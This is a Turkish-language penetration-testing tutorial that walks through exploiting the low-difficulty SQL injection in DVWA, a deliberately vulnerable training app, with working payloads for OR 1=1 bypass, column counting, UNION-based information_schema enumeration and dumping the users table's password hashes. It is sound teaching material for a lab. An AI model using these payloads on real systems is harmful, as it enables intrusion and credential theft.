OWASP DVWA – SQL Injection (Düşük Seviye): SQL Enjeksiyonu Olan Uygulamada Veritabanı Kullanıcılarına Ait Kimlik Bilgilerinin Elde Edilmesi

0
1675
views
Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği sebebi ile veritabanından bir takım bilgiler elde edilebilir. Bu yazıda, OWASP DVWA (Damn Vulnerable Web App) üzerindeki düşük zorluk seviyesindeki SQL Injection açıklığı istismar edilecek ve veritabanı kullanıcılarına ait kimlik bilgileri elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Uygulama kullanıcıdan bir ID değeri istemekte ve bu ID değerine karşılık gelen kullanıcı adı ve soyadını ekrana bastırmaktadır.

 

Arka planda çalışan komut ise aşağıdaki gibidir.

SELECT first_name, last_name FROM users WHERE user_id = ‘$id’

Not: Web uygulaması sızma testlerinde kaynak koda erişim sağlanamamaktadır. Konunun daha iyi anlaşılabilmesi için, yazı SQL sorgucuğu üzerinden hazırlanmıştır.

Yazı 7 alt başlık altında incelenecektir.

  • Temel SQL bilgileri verilecektir.
  • Uygulamanın çalışması yorumlanacaktır.
  • SQL enjeksiyonu basit bir şekilde tespit edilecektir.
  • ORDER BY ile SQL sorgusundaki kolon sayısı tespit edilecektir.
  • Bir diğer yöntem olarak UNION ile SQL sorgusundaki kolon sayısı tespit edilecektir.
  • UNION ile veritabanı hakkında temel bilgiler elde edilecektir.
  • UNION ile veritabanı kullanıcılarının kimlik bilgileri elde edilecektir.

 

1) Temel SQL Bilgileri

SQL sorgucukları ile veritabanı üzerinde işlem gerçekleştirilebilir. Örneğin MUSTERILER veritabanındaki tüm kişilerin adı, soyadı ve doğum yılları aşağıdaki gibi listelenebilir.

SELECT Ad, Soyad, DogumYili FROM MUSTERILER

WHERE” ifadesi ile bir kolonun değerine göre filtreleme yapılabilir.

SELECT Ad, Soyad, DogumYili FROM MUSTERILER WHERE Ad=’Ahmet’

OR” ile mantıksal sorgulama gerçekleştirilebilir.

SELECT Ad, Soyad, DogumYili FROM MUSTERILER WHERE Ad=’Ahmet’ OR Soyad=’Hudavendigarogullari’

ORDER BY” ile belirtilen kolona göre sonuçlar listelenebilir.

SELECT Ad, Soyad, DogumYili FROM MUSTERILER WHERE Ad=’Ahmet’ ORDER BY DogumYili

UNION” ile 2 tablonun seçilen alanları birleştirilerek tek bir tabloymuş gibi gösterilir. Örneğin OGRETMENLER ve OGRENCILER tablolarının kolonları aşağıdaki gibi farklı sayıda olsun:

OGRETMENLER: Sicil, TCKN, Ad, Soyad, DogumYili, DogumYeri, Bransi
OGRENCILER: TCKN, Ad, Soyad, Yasi, DogumYeri, VeliTelefonNo, VeliAd, VeliSoyad, VeliYakinligi

UNION” ile 2 tablonun alanları birleştirilirken birleştirilecek iki tablonun da eşit sayıda kolonu seçilmesi gerekir ve seçilen bu kolonlardaki tekrarlı kayıtlar tek bir defa alınır (“UNION ALL” kullanıldığında tekrarlı ifadeler de alınır).

SELECT Ad, Soyad, DogumYeri FROM OGRETMENLER
UNION
SELECT Ad, Soyad, DogumYeri FROM OGRENCILER

 

2) Uygulamanın İşlevinin İncelenmesi

Metin alanına “1” girildiğinde, “1” ID’li kullanıcının isim ve soyismi “admin” ve “admin” olarak elde edilmiştir. Ayrıca girilen ID değerinin URL’de taşındığı da görülmektedir.

http://10.10.2.156/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

 

Bunun sebebi veritabanına gerçekleştirilen sorguda “$id” alanına “1” değerinin atanmasıdır.

SELECT first_name, last_name FROM users WHERE user_id = ‘1’

Tüm kimlik bilgileri ID değeri 1 arttırılarak tüm kullanıcıların isim ve soyisimleri benzer şekilde elde edilebilir.

1: admin admin
2: Gordon Brown
3: Hack Me
4: Pablo Picasso
5: Bob Smith
6: user user

Bunun yanında ID değeri olarak “7” girildiğinde ise herhangi bir sonuç ekrana bastırırlmadığı görülmektedir.

 

 

3) SQL Enjeksiyonu Zafiyetinin Tespiti

Metin alanına tek tırnak karakteri (““) girildiğinde ise veritabanı tarafında bir hata ile karşılaşıldığı görülmektedir.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1

 

Not: Web uygulaması sızma testlerinde hata mesajları ekrana basılmayabilmektedir. Ekrana hata mesajının basılmaması SQL enjeksiyonu zafiyetinin olmadığını göstermeyebilir.

Bunun sebebi veritabanına gerçekleştirilen sorguda “$id” alanına “” değerinin atanması ve fazla sayıda tek tırmak işaretinden dolayı veritabanı sorgusunun hataya düşmesidir.

SELECT first_name, last_name FROM users WHERE user_id = ”’

ID alanına “12345′ OR 1=1 #” ifadesi girildiğinde ise tüm kullanıcılar listelenecektir.

12345′ OR 1=1 #

 

Bunun sebebi veritabanına gerçekleştirilen sorguda “$id” alanına “12345′ or 1=1 #” değerinin atanmasıdır. “1=1” sonucu herzaman doğru olduğu ve “OR” ifadesi ile 1/True sonucu mantıksal işleme girdiği için “WHERE” sorgusu herhangi bir filtrelemeye gitmeden “users” tablosundaki tüm satırlar için “first_name” ve “last_name” kolonlarını listeleyecektir. Ayrıca girilen ifadenin sonundaki diyez karakterinden (“#”) sonraki ifadeler de yorum olarak değerlendirileceği için sql sorgucuğunun sonundaki tek tırnak işareti (“‘”) veritabanı tarafından işleme alınmamaıştır. Benzer olarak sql sorgucuğunda “Order By” veya “Group By” gibi ifadeler olsaydı, bunlar da yorum ifadesi olarak değerlendirilecekti.
SELECT first_name, last_name FROM users WHERE user_id = ‘12345’ OR 1=1 #’

 

4) ORDER BY ile SQL Sorgusundaki Kolon Adedinin Tespiti

Bu uygulamada UNION tabanlı SQL enjeksiyonu zafiyeti bulunmaktadır. Bu zafiyet istismar edilerek veritabanı kullanıcılarının bilgileri listelenecektir. “UNION” kullanımında birleştirilecek tabloların kolon sayısının eşit olması gerektiği için uygulamada kullanılan SQL sorgusunun kolon adedinin tespit edilmesi gerekir. Bu amaçla “ORDER BY” kullanılabilir. “ORDER BY” ile kolon ID’sine göre sonuçlar listelenmek istendiğinde, kolon ID’si birer arttırılarak kolon adedi tespit edilir.

İlk kolona göre sıralamanın yapılabildiği görülmektedir.

12345′ or 1=1 ORDER BY 1 #

 

İkinci kolona göre sıralamanın yapılabildiği görülmektedir.

12345′ or 1=1 ORDER BY 2 #

 

Üçüncü kolona göre sıralamanın yapılamadığı görülmektedir.

12345′ or 1=1 ORDER BY 3 #

 

Böylece uygulamanın veritabanına 2 kolon ile sorgulama yaptığı tespit edilmiştir.

 

5) UNION ile SQL Sorgusundaki Kolon Adedinin Tespiti

Kolon sayısının tespiti için ORDER BY yerine UNION da kullanılabilir. Örneğin aşağıdaki gibi bir sorgulama yapıldığında UNION’ın sağ taraftaki sorgu ile 1 adet kolonluk sonuç (veritabanının sürüm bilgisi) elde edilmektedir. Ancak UNION’ın sol tarafındaki sorguda 1 adet kolon bulunmamışsa hata oluşacaktır.

3′ UNION SELECT @@version #

 

Bunun yanında UNION’ın sağ taraftaki sorgu ile 2 adet kolonluk sonuç (boş değer ve veritabanının sürüm bilgisi) elde edilmek istendiğinde ise hata oluşmamakta ve sonuçlar listelenmektedir.

4′ UNION SELECT Null, @@version #

 

Böylece uygulamanın veritabanına 2 kolon ile sorgulama yaptığı tespit edilmiştir.

 

6) UNION ile Veritabanı Hakkında Genel Bilgi Toplamak

UNION kullanılarak “$id” alanı “12345” olan tablo (boş tablo) ile rastgele 2 değer aşağıdaki gibi listelenebilir.

12345′ UNION SELECT “Birinci Değer”,”İkinci Değer” #

 

Olan bir kullanıcı için (ID’si 5 olan Bob Smith için) sorgulama yapıldığında ise hem ilk tablo listelenmekte hem de ikinci tablo listelenmektedir.

5′ UNION SELECT “Birinci Değer”,”İkinci Değer” #

 

UNION ile birleştirilen ikinci tabloda alan olarak fonksiyonlar çalıştırılabilir.

12345′ UNION SELECT database(),version() #

 

Mysql’deki veritabanındaki ana şema “information_schema” adlı şemanın içerisindeki tablolar kullanılarak veritabanı hakkında bilgiler elde edilebilir.

12345′ UNION SELECT “Ana şemanın tüm tabloları alt alta listeleniyor…”, table_name from information_schema.tables #

 

Kullanılabilecek temel fonksiyonlar aşağıdaki gibi olabilir.

  • version(): Veritabanı sürümünü belirtir.
  • ord(mid(version(),6,3): Veritabanı sürümünün 6., 7. ve 8. karakterini belirtir.
  • database(): Mevcut veritabanını belirtir.
  • @@datadir : Veritabanı uygulamasının kurulum dizinini belirtir.
  • user() : Veritabanında sorgulama yapan uygulamanın kullanıcısını belirtir.
  • system_user(): Sistem kullanıcısını belirtir.
  • @@hostname : İşletim sistemin kurulu olduğu sistemin adını belirtir.

12345′ UNION SELECT @@datadir,user() #

 

7) UNION ile Veritabanı Kullanıcı Bilgilerinin Listelenmesi

“database()” fonksiyonu ile uygulamanın sorgulama yaptığı veritabanının “dvwa” olduğu tespit edilmişti. Benzer olarak
“information_schema” şemasının altındaki “schemata” tablosu sorgulanarak da tüm şemalar listelenebilir.

12345′ UNION SELECT “Tüm şemalar listeleniyor…”,group_concat(schema_name) from information_schema.schemata #

 

Böylece kullanılan veritabanında 2 adet şema olduğu tespit edilmiş olur. Bu şemalar aşağıdaki gibidir:

  • information_schema
  • dvwa

Tespit edilen “dvwa” şemasındaki tablolar aşağıdaki gibi listelenebilir.

12345′ UNION SELECT “‘dvwa’ şemasının altındaki tablolar listeleniyor…”,group_concat(table_name) from information_schema.tables WHERE table_Schema=’dvwa’ #

 

Not: Bazı durumlarda sorgulanacak ifadeyi aynen yazmak yerine ASCII/ondalık halini yazmak gerekebilir. Örneğin ‘dvwa’ ifadesi aşağıdaki gibi de kullanılabilirdi.

12345′ UNION SELECT “‘dvwa’ şemasının altındaki tablolar listeleniyor…”,group_concat(table_name) from information_schema.tables WHERE table_Schema=CHAR(100, 118, 119. 97)#

Bu amaçla kullanılabilecek örnek site:

http://onlinecalculators.brainmeasures.com/Conversions/StringtoAsciiCalculator.aspx

 

Böylece “dvwa” şemasının altında 2 adet tablonun olduğu tespit edilmiş olur. Bu tablolar aşağıdaki gibidir:

  • guestbook
  • users

“users” tablosundaki kolonlar aşağıdaki gibi listelenebilir.

12345′ UNION SELECT “‘users’ tablosunun kolonları listeleniyor…”,group_concat(column_name) from information_schema.columns WHERE table_name=’users’ #

 

Böylece “users” tablosunun 6 adet kolonu olduğu tespit edilmiş olur. Bu kolonlar aşağıdaki gibidir:

  • user_id
  • first_name
  • last_name
  • user
  • password
  • avatar

Kullanıcılara ait tüm bilgiler de aşağıdaki gibi listelenebilir.

12345′ UNION SELECT “Tüm kullanıcıların ID değeri, adı, soyadı, hesap adı, parolası ve resmi listeleniyor…”, group_concat(“ID: “, user_id, “; Ad:”, first_name, “; Soyad:”, last_name, “; Hesap Adı:”, user, “; Parola:”, password, “; Resim: “, avatar, 0x0A) from users #

 

Böylece veritabanı kullanıcılarına ait parola özetleri aşağıdaki gibi elde edilmiş olur.

  • admin: 5f4dcc3b5aa765d61d8327deb882cf99
  • gordonb: e99a18c428cb38d5f260853678922e03
  • 1337: 8d3533d75ae2c3966d7e0d4fcc69216b
  • pablo: 0d107d09f5bbe40cade3de5c71e9e9b7
  • smithy: 5f4dcc3b5aa765d61d8327deb882cf99
  • user: ee11cbb19052e40b07aac0ca060c23ee

 

 

İlgili Kaynak Kod:

 

 

Kaynaklar:

http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-14—SQL-Injection-Low-Level.php
SQL Injection Exploitation – DVWA
http://www.agguvenligi.net/2013/01/sqlmap-ile-web-uygulamalarinda-sql-injection-aciklik-denetimi.html
https://wiki.bgasecurity.com/Web_Uygulama_Güvenlik_Testlerinde_İleri_Seviye_Sqlmap_Kullanımı
http://breakthesecurity.cysecurity.org/2010/12/hacking-website-using-sql-injection-step-by-step-guide.html

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.